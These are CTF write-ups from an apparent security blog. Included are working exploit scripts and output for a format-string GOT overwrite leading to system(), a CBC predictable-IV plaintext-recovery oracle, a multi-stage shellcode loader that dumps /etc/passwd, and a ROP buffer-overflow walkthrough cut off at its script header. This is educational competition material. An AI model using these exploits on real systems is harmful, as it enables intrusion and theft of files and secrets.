codezen.fr code hacking, zen coding

27Jun/12Off

How to have a great NDH2k13 CTF

Posted by aXs

I competed last week-end in La Nuit Du Hack Private CTF, the one where you needed to quality in the prequals first.

Being a positive person and not willing to discard efforts that were already made this year to sort out this CTF, this is a short list of points that could be improved so we can have a better experience next year.

  • Stop caring about hosting the team servers yourselve. Distribute a VirtualBox image at the beginning, give everybody 1 hour to sort it out and then open routing between teams. Team will be able to reboot their server, investigate extended downtime in single mode and the contest will get more realistic. Any decent laptop today has plentyful of resource to do hardware assisted virtualization.
  • Stop caring about the team firewall. The current emulated interface is cumbersome. Let the team manages it themselve directly on the VM or on the VirtualBox host. (and don't care about cheating with blocking other teams, it's already happening sometime with the current setup)
  • Change the monitoring system so that a working service do not rely on administrative credentials, this is not realistic. Changing credentials is part of everyday life for a sysadmin. Not being able to change admin credentials because the monitoring system uses it to connect to the service is unrealistic. A working service should be checked using a normal user account and patching should allow changing those default admin credentials.
  • Flags should expire after 5 minutes and should get replaced every 5 minutes by an out-of-band updates system (ssh keys for example or specific daemons). Those flags should also get checked for presence by the monitoring system. Some teams cheated by changing their flags this year and you loose a lot of time realizing that it's not your exploit that is broken.
  • Have a webservice or telnet service for easier automated flag submission.

To be honest, many of these points are already handled very well by other attack/defense CTF like RusCTFE so NDH organizers needs to have a look there.

My 2 bytes.

Comments on this blog are closed so discuss it on Twitter with me if you want.

Share
Tagged as: Comments Off
2May/12Off

PlaidCTF 2012 – Pwnables 300 – Chest Writeup

Posted by aXs

Robots are running secret service that aims to mill down diamonds into fairy dust, and use it to take over our world! Help us please!
23.22.1.14:1282

In this challenge we have a telnet interface to a nice chest that can store an item, remove an item or view the list of stored items.

Welcome to the Adventurers' storage room!
If you don't yet have a personal chest, you can use this one: XXXXFJ4bO1
Which chest to you wish to access? [XXXXFJ4bO1]:
Using chest XXXXFJ4bO1

What do you want to do?

[1] View items
[2] Store an item
[3] Take an item
[4] Leave
[5] Destroy the chest
> Choose an option:

After disassembling the binary, we see that there is a format string vulnerability in the "View items" function.

  do
  {
    v0 = sub_8048C7B(dword_804AC90, &v2, 499, 0);
    dprintf(fd, (const char *)&v2);
  }

The name of the item is used as format to dprintf. So easy right ? Not so fast...

There is a function that filter heavily user input based on a whitelist:

  n = strspn(src, "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789&-+ ");

The percent character is of course not whitelisted so we cannot send a format string.

To exploit this vulnerability, we need to combine it with another design conception error: when you connect to the service, you can input the name of the chest you want to open.

The error is that if you connect simultaneously 2 clients, ask both clients to open the same chest and use the destroy chest function in one client, the other client will malfunction in a very interesting way.

Rember this read loop for viewing the items ?

  do
  {
    v0 = sub_8048C7B(dword_804AC90, &v2, 499, 0);
    dprintf(fd, (const char *)&v2);
  }
...
int __cdecl sub_8048C7B(int fd, void *a2, int a3, char a4)
{
  char v4; // al@3
  char v5; // al@7
  void *buf; // [sp+28h] [bp-10h]@1
  ssize_t v8; // [sp+2Ch] [bp-Ch]@2

  buf = a2;
  do
  {
    v5 = a3-- != 0;
    if ( !v5 )
      break;
    v8 = read(fd, buf, 1u); // will return 0
    if ( v8 != 1 ) // will pass
    {
      if ( v8 ) // will not pass
        exit(1320024593);
      return buf - a2; // will return buf left untouched!
    }
    v4 = *(_BYTE *)buf == a4;
    buf = (char *)buf + 1;
  }
  while ( !v4 );
  return buf - a2;
}

As you can see, as the chest has been destroyed, read() will fail to read anything and the function will return leaving the buffer untouched... untouched means with its previous content... and this function is also used to read the name of the item:

  dprintf(fd, "> Store what item? ");
  src[sub_8048C7B(fd, (void *)src, 499, 10)] = 0;

So to exploit this we need:
- Connect 2 clients
- Choose the same chest in both clients
- Destroy the chest using one client
- With the client left, store an item with our format string vulnerability
- List the chest content, this will trigger the format string
- An additional action to get the flag (see below)

After reviewing my options, I noticed system() is already part of the GOT table so I will try to overwrite strspn's GOT entry so that an unfiltered string can be used as the system() parameter.

For this, I used hellman's highly recommended libformatstr library which makes format string building very easy.

#!/usr/bin/env python
# -*- coding: latin-1 -*-

import socket
import sys
import re
from libformatstr import FormatStr

if len(sys.argv) != 3:
  print '\nUsage:\t./chest.py [host] [port]'
  sys.exit(1)

host = sys.argv[1]
port = int(sys.argv[2])

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))

fs = s.makefile()

print 'Client1 Banner1', fs.readline()
print 'Client1 Banner2', fs.readline()

s.send('\n');
chest = fs.readline()

regex = re.compile("Using chest (.*)")
r = regex.search(chest)
chest = r.groups()[0]

print 'Chest', chest

s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s2.connect((host, port))

fs2 = s2.makefile()

print 'Client2 Banner1', fs2.readline()
print 'Client2 Banner2', fs2.readline()

s2.send('%s\n' %chest);

# destroy chest
for i in range(1,9):
  fs.readline()
s.send('5\n');
s.close()

# add item to chest
for i in range(1,10):
  fs2.readline()
s2.send('2\n')
fs2.readline()

addr = 0x0804abf0 # strspn()
got = [0x08048796] # system()
p = FormatStr()
p[addr] = got

payload = p.payload(7, start_len=4)

# we start the payload with a non-whitelisted char so that the NUL byte
# is put at the beginning of the string
s2.send('____' + payload + '\n')
print 'Client2 Result Store', fs2.readline()

# view chest content
for i in range(1,9):
  fs2.readline()
s2.send('1\n')

# strspn() is now system()
# fd 4 is our socket
s2.send('ls -la>&4 ; cat key>&4\n')

while 1:
  line = s2.recv(4096)
  if not line:
      break
  print 'Client2 Received', repr(line)

sys.stdout.flush()

s2.close()

Running our exploit we get (some garbage removed from the beginning):

total 28
drwxr-xr-x 2 root root 4096 Apr 28 04:36 .
drwxr-xr-x 3 root root 4096 Apr 27 19:27 ..
-rwxr-xr-x 1 root root 8564 Apr 27 19:27 chest
lrwxrwxrwx 1 root root 3 Apr 28 04:36 flag -> key
-rw-r--r-- 1 root root 24 Apr 27 03:48 key
-rwxr-xr-x 1 root root 41 Apr 27 19:27 start.sh
lemons_are_in_the_chest

The key is: lemons_are_in_the_chest

Share
1May/12Off

PlaidCTF 2012 – Password Guessing 300 – Encryption Service Writeup

Posted by aXs

We found the source code for this robot encryption service, except the key was redacted from it. The service is currently running at 23.21.15.166:4433

#!/usr/bin/python
import os
import struct
import SocketServer
from Crypto.Cipher import AES

ENCRYPT_KEY = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'.decode('hex')
# Character set: lowercase letters and underscore
PROBLEM_KEY = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxx'

BLOCK_SIZE = 16

def pad(data, blocksize):
    l = blocksize - (len(data) % blocksize)
    return data + chr(l) * l

def encrypt(data, iv):
    aes = AES.new(ENCRYPT_KEY, AES.MODE_CBC, iv)
    return aes.encrypt(pad(data, BLOCK_SIZE))

class ProblemHandler(SocketServer.StreamRequestHandler):
    def handle(self):
        iv = os.urandom(16)
        self.wfile.write(iv)
        while True:
            data = self.rfile.read(4)
            if not data:
                break

            try:
                length = struct.unpack('I', data)[0]
                if length > 4096:
                    break
                data = self.rfile.read(length)
                data += PROBLEM_KEY
                ciphertext = encrypt(data, iv)
                iv = ciphertext[-16:]
                self.wfile.write(struct.pack('I', len(ciphertext)))
                self.wfile.write(ciphertext)
            except:
                break

class ReusableTCPServer(SocketServer.ForkingMixIn, SocketServer.TCPServer):
    allow_reuse_address = True

if __name__ == '__main__':
    HOST = '0.0.0.0'
    PORT = 4433
    SocketServer.TCPServer.allow_reuse_address = True
    server = ReusableTCPServer((HOST, PORT), ProblemHandler)
    server.serve_forever()

In this challenge, we can submit strings to a python service, these strings will be used as plaintext for an AES encryption. The challenge flag is appended to our plaintext.

We notice 2 things:
- We control the plaintext prefix
- We know the IV before sending our plaintext

This is a recipe for disaster as explained in various papers since 2001
- TLS IV CBC attack: http://www.openssl.org/~bodo/tls-cbc.txt
- SSL BEAST attack: http://www.educatedguesswork.org/2011/09/security_impact_of_the_rizzodu.html

The main point is that since we know the IV before sending our plaintext.

How to proceed:
- Make the IV a fixed value: send Plaintext = IV -> C = AES(P ^ IV) -> C = AES(IV ^ IV) -> C = AES(0) -> IV = fixed value
- Send plaintext 'A' * 15 : Since block size is 16, the first byte of the flag get appended to our plaintext in this block, we keep the returned block as a reference block
- Make the IV a fixed value (same as above)
- Send plaintext 'A' * 15 + chr(a) : if our guess chr(a) is the same char than the first char of the flag, the very same block that our reference block will be returned!

It's even easier as the service allow us to chain packets ad infinitum.

#!/usr/bin/env python
# -*- coding: latin-1 -*-

import sys
import socket
import struct

BLOCK_SIZE = 16
PROBLEM_KEY = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxx'
CHARSET = "etainosrldhcumfpygwvbkxjqz_"

def send_packet(s, data):
  s.send(struct.pack('I', len(data)))
  s.send(data)

def recv_packet(s):
  return s.recv(struct.unpack('I', s.recv(4))[0])

def do_block(s, iv, offset, payload):
  send_packet(s, iv)
  recv_payload = recv_packet(s)

  payload = 'A' * (BLOCK_SIZE - (offset % BLOCK_SIZE)) + payload

  send_packet(s, payload)
  recv_payload = recv_packet(s)

  block_offset = offset / BLOCK_SIZE * BLOCK_SIZE

  return recv_payload[-16:], recv_payload[block_offset : block_offset + BLOCK_SIZE ]

if len(sys.argv) != 3:
  print '\nUsage:\t./es.py [host] [port]'
  sys.exit(1)

host = sys.argv[1]
port = int(sys.argv[2])

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))

iv = s.recv(16)

print 'Initial IV', iv.encode("hex")

key = '';

for i in xrange(1, len(PROBLEM_KEY) + 1):

  iv, ref_block = do_block(s, iv, i, '')

  print 'Reference block', i, ref_block.encode("hex")

  for char in CHARSET:
    iv, block = do_block(s, iv, i, key + char)

    if ref_block == block:
      key += char
      print 'Adding char', char, 'to key', key
      break

print 'Key', key

s.close()

$ python es.py 23.21.15.166 4433
Initial IV 4bd8f3081acbc15928dda4361d65c176
Reference block 1 c7da9a9e5c7df566c7d1c78c7f958708
Adding char p to key p
Reference block 2 c342bac54efbefea7dbd6b2c07be73fe
Adding char r to key pr
Reference block 3 8c65858c5fcbdf5cbcc7e813a47cdaf7
Adding char e to key pre
Reference block 4 9bc925111eabd7110a9c5ba6fd68d15d
Adding char d to key pred
Reference block 5 d039728634a56052c00555a4dfa031e9
Adding char i to key predi
Reference block 6 bd60a3b4c56bb52b0adb190a88f9908e
Adding char c to key predic
Reference block 7 ba22638ee7cbbf30e7473a1855c85ae5
Adding char t to key predict
Reference block 8 b4bac8637ea67d3acbdaebd628e83757
Adding char a to key predicta
Reference block 9 c452a87a9317b42d800ee335b1325cdb
Adding char b to key predictab
Reference block 10 a19025c18c6974ab9b0bd8795e573a0a
Adding char l to key predictabl
Reference block 11 b08fb475d1fe22f0578eaeb44324ab80
Adding char e to key predictable
Reference block 12 2c49728b3c0430eba12b9eadd85aa4a3
Adding char _ to key predictable_
Reference block 13 e50682c26d6cdc97b13f7012160d1e49
Adding char i to key predictable_i
Reference block 14 005267fdb690b28bda84685e86a3416e
Adding char v to key predictable_iv
Reference block 15 c6c8cb7836bda8e3e42b77e06c1455a4
Adding char s to key predictable_ivs
Reference block 16 4b5f8094c71f51bcab515f120a32b059
Adding char _ to key predictable_ivs_
Reference block 17 cf1422daa9ccc75f921463811a3731da
Adding char a to key predictable_ivs_a
Reference block 18 7f9391c531bc0cfc807ca3d775b39718
Adding char r to key predictable_ivs_ar
Reference block 19 5229aaa4b88439f2a638f5d681dbe1d8
Adding char e to key predictable_ivs_are
Reference block 20 0506234b02a15e7bd979d99a43d1e106
Adding char _ to key predictable_ivs_are_
Reference block 21 1e9144b0c3c7c50d7f103002f6da36a3
Adding char d to key predictable_ivs_are_d
Reference block 22 5fc2881eea7170935c502d25f49976f6
Adding char a to key predictable_ivs_are_da
Reference block 23 c8a8c847ec00f510adb16b81ab21b49c
Adding char n to key predictable_ivs_are_dan
Reference block 24 7747633ede348721e6ba99f467f2f695
Adding char g to key predictable_ivs_are_dang
Reference block 25 1ea4b93c0598027d3572107a0c0d8ca0
Adding char e to key predictable_ivs_are_dange
Reference block 26 8363c6e43ba90bdbaebb22c4867770d3
Adding char r to key predictable_ivs_are_danger
Reference block 27 fcda24acc44f419b3c75b089ff44d5cc
Adding char o to key predictable_ivs_are_dangero
Reference block 28 98be810462614bebcbef42cc8f86df8f
Adding char u to key predictable_ivs_are_dangerou
Reference block 29 b4dfd749e702755a9bfb434776ec07b8
Adding char s to key predictable_ivs_are_dangerous
Key predictable_ivs_are_dangerous

The key is predictable_ivs_are_dangerous

Share
30Apr/12Off

PlaidCTF 2012 – Potpourri 100 – The Game Writeup

Posted by aXs

Robots enjoy some strange games and we just can't quite figure this one out. Maybe you will have better luck than us.
23.22.16.34:6969

We have a game running on that port:

You have gotten 0 of 75
Choice 1 = 98d00c65d341be04600f915b32c01c81ab
Choice 2 = 7a859a01731c050797ac952d82b895882a
Which one is bigger? (1 or 2)
1
1
Correct!
--------------------
You have gotten 1 of 75
Choice 1 = d6e4fbe0e4cd99e8fac2b40fbaa80ea8b0
Choice 2 = 9535d4c5a1a007f302c3f2cc6d1733989f
Which one is bigger? (1 or 2)
1
1
Wrong πŸ™

As you can see, "bigger" is not related to the number expressed in hexadecimal has being really greater than the other. We tried many different things to try to find a relation (modulo, adding the digits, ...) ... until I starred for a few minutes at our script that was playing the game in a loop and noticed the hashes were coming back.. it wasn't random numbers!

My first approach was to "learn" all the possible round. If a similar round comes back, we know the answer. I noticed that if we know only one of the number, if this number has won before, there is a slightly (slightly!) chance that it will won this match again. This approach kinds of worked but was very slow.. after 6 hours of learning, we weren't going higher than ~30-40 winning round in a row.

The next approach was to consider this challenge as a bubble sort: we will maintain an ordered list of the numbers and swap them around depend of which is considered bigger, basically using the service as an oracle.

This version worked much better and can solve The Game in around ~30 minutes.

I'm still learning Python so this isn't anything Im proud of on the point of view of the Python style of whatever πŸ™‚

#!/usr/bin/env python
# -*- coding: latin-1 -*-

import socket
import sys
import re

if len(sys.argv) != 3:
  print '\nUsage:\t./bigger.py [host] [port]'
  sys.exit(1)

host = sys.argv[1]
port = int(sys.argv[2])

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))

fs=s.makefile()

regex = re.compile(".*= (.*)")

matchs = {}
winner = []
numbers = []

while 1:
  welcome = fs.readline()
  print welcome

  if welcome == 'Yay you have won!\n':
    while 1:
      line = fs.readline()
      if not line:
        break
      print 'Received', repr(line)
    s.close()
    exit(1)

  choice1 = fs.readline()
  choice2 = fs.readline()
  question = fs.readline()

  r = regex.search(choice1)
  choice1 = r.groups()[0]
  num1 = int(choice1,16)
 
  r = regex.search(choice2)
  choice2 = r.groups()[0]
  num2 = int(choice2, 16)

  print 'Choice 1', choice1, 'Choice 2', choice2

  key1 = choice1 + choice2
  key2 = choice2 + choice1

  if key1 in matchs:
    choice = matchs[key1]
    print 'Send', choice, 'because previous match result'
    s.send('%d\n' %choice)
    predicted = 'previous'
  elif key2 in matchs:
    choice = matchs[key2]
    print 'Send', choice, 'because previous match result'
    s.send('%d\n' %choice)
    predicted = 'previous'
  else:
    if choice1 in numbers and choice2 in numbers:
        if numbers.index(choice1) < numbers.index(choice2):
          print 'Send 1 because lower index'
          s.send('1\n')
          predicted = 1
          unpredicted = 2
          candidate = choice1
          notcandidate = choice2
        else:
          print 'Send 2 because lower index'
          s.send('2\n')
          predicted = 2
          unpredicted = 1
          candidate = choice2
          notcandidate = choice1
    elif choice1 in winner:
      print 'Send 1 because previous winner'
      s.send('1\n')
      predicted = 1
      unpredicted = 2
      candidate = choice1
      notcandidate = choice2
    elif choice2 in winner:
      print 'Send 2 because previous winner'
      s.send('2\n')
      predicted = 2
      unpredicted = 1
      candidate = choice2
      notcandidate = choice1
    else:
      print 'Send 1 because arbitrary'
      s.send('1\n')
      predicted = 1
      unpredicted = 2
      candidate = choice1
      notcandidate = choice2

  result = fs.readline()
  result = fs.readline()

  print 'Result', result

  if result == 'Correct!\n':
    if predicted != 'previous':
      matchs[key1] = predicted
      matchs[key2] = unpredicted
      winner.append(candidate)
  else:
    matchs[key1] = unpredicted
    matchs[key2] = predicted
    winner.append(notcandidate)
    if candidate in numbers:
      if notcandidate in numbers:
        i = numbers.index(candidate)
        j = numbers.index(notcandidate)
        numbers[i], numbers[j] = numbers[j], numbers[i]
      else:
        numbers.append(notcandidate)
    else:
      numbers.append(candidate)

  result = fs.readline()

while 1:
    line = s.recv(4096)
    if not line:
        break
    print 'Received', repr(line)

s.close()

After around 30 minutes...

You have gotten 73 of 75

Choice 1 0872b5c42221f31ffadb08e634ab8e5ab6 Choice 2 41b9ffcabc545e4b71b5d9ce1399a145e0
Send 1 because lower index
Result Correct!

You have gotten 74 of 75

Choice 1 dee427827d0b8b54f9545f6e0073c7195f Choice 2 0285648f245ad5c9074defa6800f2b229b
Send 1 because lower index
Result Correct!

Yay you have won!

The key is: d03snt_3v3ry0n3_md5'

Share
30Apr/12Off

PlaidCTF 2012 – Practical Packets 200 – Torrents Writeup

Posted by aXs

"It turns out that robots, like humans, are cheap and do not like paying for their movies and music. We were able to intercept some torrent downloads but are unsure what the file being downloaded was. Can you figure it out?"

We get a pcap file with the P2P part of a BitTorrent exchange between 2 peers.

Hopefully Wireshark has a fairly complete BitTorrent dissector which we will use to get the "pieces" of data.

According to the protocol specification, data is transferred in pieces that have an index and an offset. We need to extract each pieces with its index and offset and a Python script will reorder them.

tshark -r torrent.pcap -R 'bittorrent.piece.data' -T fields -e bittorrent.piece.index -e bittorrent.piece.begin -e bittorrent.piece.data -E separator=\| > torrents.dump
#!/usr/bin/python

import sys
import struct

if len(sys.argv) ==2:
  print "Parsing "+str(sys.argv[1])
else:
  print "Usage: python "+sys.argv[0]+" file.pcap"
  exit(10)

pcap=file(sys.argv[1],"r")
out=file(sys.argv[1]+".hex","w")

data = {}
for p in pcap:
  a = p.split("|")

  index = int(a[0], 16)
  offset = int(a[1], 16)

  print 'Index', index, 'Offset', offset

  order = "%08x" % index + "_" + "%08x" % offset
  data[order] = a[2].split(":")

for key in sorted(data.iterkeys()):
  print key + "\n"
  for b in data[key]:
    out.write(chr(int(b,16)))

pcap.close()
out.close()

$ file torrents.dump.hex
torrents.dump.hex: bzip2 compressed data, block size = 900k
$ mkdir key ; cd key ; tar xvfj ../torrents.dump.hex
key.mp3
key.txt
$ cat key.txt
t0renz0_v0n_m4tt3rh0rn

The key is: t0renz0_v0n_m4tt3rh0rn

PS: notice the useless MP3 file just to make the archive and so the bittorrent transfer bigger πŸ˜‰

Share
30Apr/12Off

PlaidCTF 2012 – Practical Packets 250 – 80s Thinking Writeup

Posted by aXs

In this challenge we get a sound wave file named 80s.

Listening to it will immediately bring back some memories if you are in your thirties: DTMF dialing, short modem handshake, data.

The handshake is very short so I guestimated the speed to be 9600 bauds also the overall sound of it was screaming in my brain: "OMG it's a fax!!!1!!"

So it's very simple, it's a recorded fax transfer and you need to decode it to get the fax pages.

This challenge depends very much of your Google-fu. There is many commercial softwares that can decode fax recordings, most for lawful interception purposes. But hopefully, there is a known opensource alternative which is popular in the Asterisk community as the core fax library: SpanDSP

It's a huge library that does many things beside fax decoding so you will need some time to find what you need: a unit test-case for fax decoding!

From there, it's trival, you massage the sound file a bit to 8000Hz and the test-case output a nice TIF file:

The key is: BlastFromThePast^_^

PS: output from fax_decode: fax_decode

Share
26Mar/12Off

NDH 2012 Prequals – Sciteek 4004 Write-up – Multistage file reader

Posted by aXs

The daemon on port 4004 is a fairly simple daemon that check for a password (hard-coded in the binary) and just says "You are authenticated".

What's interesting is that this daemon is running on the same server that many other challenges so we used it to fetch files and solve the URL Shortener challenge more easily by retrieving its Python source.

We have limited space for the shellcode, only 100 bytes. While you can totally read files in a 100 bytes shellcode if you don't care about error checking, I wanted something cleaner (that's the excuse for spending time to do a multi-stage exploit loader)

This exploit will:
- overflow the buffer (size is 0x100)
- Inject stage 1 loader
- Read Stage 2 from stdin
- Execute Stage 2
- Read filename to dump from stdin
- Open file with error checking
- Dump the file using a read/write loop, so you can dump file bigger than the memory
- Exit

#!/usr/bin/env python

import socket
import sys
import time
from struct import pack

if len(sys.argv) != 4:
  print '\nUsage:\t./sciteek4004.py [host] [port] [filename]'
  sys.exit(1)

host = sys.argv[1]
port = int(sys.argv[2])

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))

data = s.recv(65536)
print 'Received', repr(data)

''' Stage 2 '''
''' Read filename from stdin, output to stdout '''

sc  = "\x04\x02\x01\x00\x00"  # movl r1, 0x0
sc += "\x04\x02\x00\x03\x00"  # movl r0, 0x3
sc += "\x04\x02\x02\x94\x7a"  # movl r2, 0x7b94
sc += "\x04\x02\x03\x32\x00"  # movl r3, 0x32
sc += "\x30"      # syscall (read)

sc += "\x04\x02\x00\x02\x00"  # movl r0, 0x2
sc += "\x04\x02\x01\x94\x7a"  # movl r1, 0x7b94
sc += "\x04\x02\x02\x00\x00"  # movl r2, 0x0
sc += "\x04\x00\x03\x02"  # movl r3, r2
sc += "\x30"      # syscall (open)

sc += "\x18\x02\x00\xff\xff"  # cmpl r0, 0xffff
sc += "\x10\x39\x00"    # jz +57

sc += "\x04\x00\x07\x00"  # mov r7, r0

sc += "\x04\x00\x01\x00"  # movl r1, r0
sc += "\x04\x02\x00\x03\x00"  # movl r0, 0x3
sc += "\x04\x02\x02\x00\x10"  # movl r2, 0x1000
sc += "\x04\x02\x03\xff\x00"  # movl r3, 0x32
sc += "\x30"      # syscall (read)

sc += "\x18\x01\x00\x00"  # cmpl r0, 0x0
sc += "\x10\x1a\x00"    # jz +26

sc += "\x04\x00\x03\x00"  # movl r3, r0
sc += "\x04\x02\x00\x04\x00"  # movl r0, 0x4
sc += "\x04\x02\x01\x01\x00"  # movl r1, 0x1
sc += "\x04\x02\x02\x00\x10"  # movl r2, 0x1000
sc += "\x30"      # syscall (write)

sc += "\x04\x00\x00\x07"  # mov r0, r7

sc += "\x16\xc7"    # jmps -47

sc += "\x04\x02\x00\x01\x00"  # movl r0, 0x1
sc += "\x30"      # syscall (exit)

''' Stage 1 Loader '''

loader  = "\x04\x02\x01\x00\x00"  # movl r1, 0x0
loader += "\x04\x02\x00\x03\x00"  # movl r0, 0x3
loader += "\x04\x02\x02\x00\x60"  # movl r2, 0x6000
loader += "\x04\x02\x03"    # movl r3, 0x32
loader += pack("<H", len(sc))   #   -continued
loader += "\x30"      # syscall (read)
loader += "\x04\x02\x00\x00\x60"  # movl r2, 0x6000
loader += "\x19\x03\x00"    # call *r0

if len(loader) > 100:
  print "\nShellcode too long: ", len(loader), "\n"
  sys.exit(1)

print "Shellcode size: ", len(loader), "\n"

payload = '\x02' * (100 - len(loader)) # Nopsled

print "Nopsled size: ", len(payload), "\n"

payload += loader

payload += "\x94\x7f" # To Nopsled

print "Payload size: ", len(payload), "\n"

# Send Stage 1 Loader

s.send('%s' %payload);

time.sleep(2)

# Send Stage 2

s.send('%s' %sc);

time.sleep(2)

# Send filename to download

s.send('%s' %sys.argv[3] + "\x00\n");

while 1:
    line = s.recv(65536)
    if not line:
        break
    print line

s.close()

Result:

$ python sciteek4004.py sciteek.nuitduhack.com 4004 "/etc/passwd"
Received 'Password (required): '
Shellcode size: 29

Nopsled size: 71

Payload size: 102

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spo
ol/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
sshd:x:101:65534::/var/run/sshd:/usr/sbin/nologin

Share
26Mar/12Off

NDH 2012 Prequals – Sciteek 4005 Web3 Write-up

Posted by aXs

This challenge runs under the NDH VM written specially for this CTF by Jonathan Salwan.

We are told to exploit a web server running at sciteek.nuitduhack.com:4005 to get a file named sciteek-private.txt.

We get a copy of the web server software in the file Web3.ndh which is running in the NDH VM.

$ nc sciteek.nuitduhack.com 4005
GET /
HTTP/1.0 200 OK
Content-Type : text/HTML
Content-Length : 70

Exploit Me if you can πŸ˜‰

We try to overflow it:

$ nc localhost 4005
GET Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar
$

We are immediately disconnected. We need to dig in disassembly to understand why.

0x81e8 > syscall (r0 = 0x0003 - read)
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar
[SYSCALL output]: 513
0x81e9 > ret
0x84d8 > mov r0, r1
0x84dc > addl r8, #0x200
0x84e1 > pop r1
0x84e3 > cmpl r1, #0xbeef
0x84e8 > jz 0x01
0x84eb > end

This program uses a hard-coded stack cookie with a value of 0xbeef. If we overflows the buffer (max size 0x200), we will overwrite the cookie and the protection will get triggered.

So we need to send the value of the cookie in your exploit payload:

$ python -c 'print "A"*512+"\xEF\xBEAB"' | nc localhost 4005
[!] Segfault 0x4241 (opcode unknown)

We control the PC register.

Now we need to get the address of our buffer. We add a breakpoint just after the read() syscall.

0x81e4: movb r0, #0x03
0x81e8: syscall

[Console]#> bp 0x81e8
Breakpoint set in 0x81e8
...
0x81e4 > movb r0, #3
[BreakPoint 1 - 0x81e8]
0x81e8 > syscall (r0 = 0x0003 - read)
GET /
[SYSCALL output]: 6
[Console]#> show sp
7bf2: d8 84 47 45 54 20 2f 0a 00 00 <- GET /

The beginning of our buffer is at 0x7bf4.

$ python -c 'print "A"*512+"\xEF\xBE\xf4\x7b"' | nc localhost 4005
[!] Segfault 0x7bf4 (NX bit)

Unfortunately NX bit is enabled in this challenge. Against NX protection we need to use ROP.

There is many nice gadgets in the binary. What we need to find is:

- read filename from stdin
- open file with filename in memory
- read file content to memory
- write memory to stdout

generic registers setter

0x8225: pop r5
0x8227: pop r4
0x8229: pop r3
0x822b: pop r2
0x822d: pop r1
0x822f: ret

syscall open()

int open(const char *pathname, int flags, mode_t mode);

* [sys_open] r1 = uint16_t *
* r2 = uint16_t
* r3 = uint16_t

0x81d2: movb r0, #0x02
0x81d6: syscall

syscall read()

ssize_t read(int fd, void *buf, size_t count);

* [sys_read] r1 = uint16_t
* r2 = uint16_t *
* r3 = uint16_t

0x81e0: mov r1, r0
0x81e4: movb r0, #0x03
0x81e8: syscall

syscall write()

ssize_t write(int fd, const void *buf, size_t count);

* [sys_write] r1 = uint16_t
* r2 = uint16_t *
* r3 = uint16_t

0x8193: movb r0, #0x04
0x8197: syscall

We can then construct this ROP chain exploit:

#!/usr/bin/env python

import socket
import sys
from struct import pack

if len(sys.argv) != 3:
  print '\nUsage:\t./sciteek4005.py [host] [port]'
  sys.exit(1)

host = sys.argv[1]
port = int(sys.argv[2])

